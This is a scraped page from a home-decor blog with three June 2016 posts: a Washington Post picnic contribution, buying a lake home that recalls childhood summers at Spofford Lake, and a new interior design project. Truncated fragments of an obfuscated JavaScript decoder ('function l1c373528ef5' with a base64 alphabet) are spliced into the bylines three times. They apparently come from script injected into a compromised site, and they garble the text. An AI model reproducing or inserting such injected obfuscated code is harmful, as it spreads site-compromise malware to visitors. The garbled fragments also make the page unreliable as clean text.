blue egg brown nest

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=/" rel="bookmark">…the washington post, me and picnic article!

June 23, 2016 By christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=/#comments">1 Comment

My writer friend at The Washington Post asked me to contribute to an article she was working on on picnics! What is more fun that that in the summer? I was thrilled to be asked. My assignment was to come up with several recommendations for a family picnic.

It was so much fun to do and I honestly would buy all these things for our family. Some of my very favs are the Twister blanket – how cool is that?! And the stemless wine class that is making the shopping list of many mommas in my town! Happy picnicing!

Filed Under: building a room Tagged With: blue egg brown nest, Building a Business, Building a Creative Business, picnics!, the washington post

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June 21, 2016 By christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do/#comments">11 Comments

…a very good place to start.

DH and I love a good project. DH and I are also getting older. Kids getting older. Time moving onward. So, when the opportunity arose to purchase a lake home that was not a complete fixer upper, we prayed. And what does God do, He gives us this nest way, way under the listing price. I always say that God answers prayer with doors. If a door is open, I move forward. If a door is closed, I move in another direction until I find an open door.

This door was open and we walked through.

Although this has always been DH’s dream and I was thrilled to see him achieve it – because he is the hardest-working, most-talented, smartest person I’ve ever met – I was pulled into his dream based on my memories of Spofford Lake. Spofford is a lake in New Hampshire where I used to go as a child with my family and my beloved Gram. I still remember her putting on her white swim cap and swimming out to what we referred to as “the rock”, which was a large, long rock just beyond the shore. She looked so big and brave when she did this.

The house was painted red, the family room had bamboo seating and the kitchen boasted an old fridge with a metal handle. I remember the sound of the water licking the small, sandy beach and the taste of the raspberries that my sister and I picked from the bushes. To this day, I cannot bite into a raspberry without immediately being brought back to this time. Sharon and I floated around the muck in our floaties, pulling strands of wild seaweed that grew upwards. We made a kitchen out of the roots in the trees, the bits of flaked wood our chicken. The woods were just a part of this wonderland as the water.

So, when we saw this property and the woods that surrounded the water, my need to have my children grow up playing in a forest grew. I really believe that imagination is as it’s greatest in nature. In our hometown, just outside the city, we do not get the opportunity to explore our brain’s potential for play.

I think Gram would be thrilled for us. I smell her in the house and feel her in the water. I feel it so strongly that I was shocked when I was driving to the one grocery store on the lake, listening to music and thinking of her and Spofford, when a car pulled in front of me. I stopped breathing when I saw the New Hampshire license plate directly in front of me, speaking just to me – Live Free or Die.

I hear that, Gram, and I’m moving in that direction.

Filed Under: building a house Tagged With: blue egg brown nest, Building a Business, creative business, home decor, interior design, painting furniture, spofford lake, vintage

…new interior design project

June 20, 2016 By christen 25 Comments

So, it’s about time that I let you in on a little secret of mine, I am designing a new home on a lake and it happens to ours. I say this with all the modesty in the world because I’m scared of all negative judgement. All I can say is that God has always taken care me. I don’t know why and I don’t always know how, but He continues move aside the storm clouds and shine down on our family. And what’s more, I feel like He continually is proud of me for letting my own light shine and not hide it under a bushel – this means everything. No more shame, no more hiding – just living my life as bravely as I can.

I want you to know about it because I am getting slowly emotionally invested in the home and it’s occupying my headspace. This process has really made me think about where I spend my time, how I want to live the next half of my life (I’m almost 40) and on a much lighter note – design trends.

I have to say that when I set out on this Blue Egg Brown Nest journey there were, what felt like, only a handful of other painters and dealers out there that were doing what I was doing and had made a name for themselves. You can see for yourself that the painted furniture and rustic look are much more main-stream. I think it is great in one regard because it is now so accessible to people where it was not when I was starting out. I remember hunting for some tall topiaries and it was near impossible to find them. Now, I can rattle of at least four major retail shops that I could order them online today!

Again, trends shifting is not a bad thing, but just to tell you a bit more about my personality, I like to be a tad different and unexpected. I want to be a little ahead of the curve in my home and in my clothes and in my earrings and in my recipes, etc. Trends change and I think that’s what keeps me excited because it is always fresh. This new project of mine is allowing me to explore some other avenues of design, while still incorporating my own taste.

I will talk more about trends this week, but I think in order for a creative person to continue to create, they have to continue to move forward. It sounds really basic, but to stay sedentary is not a good thing for this gal. I’m a very curious person and I like trying out new things.

I’m excited to have you come along with me in this next pursuit and I think you will be interested because it’s very similar to where I was when we built our current home and had no budget for furniture or decor. Here I am again challenged with a clean slate and ever so excited about it.

I’d love for you to join me.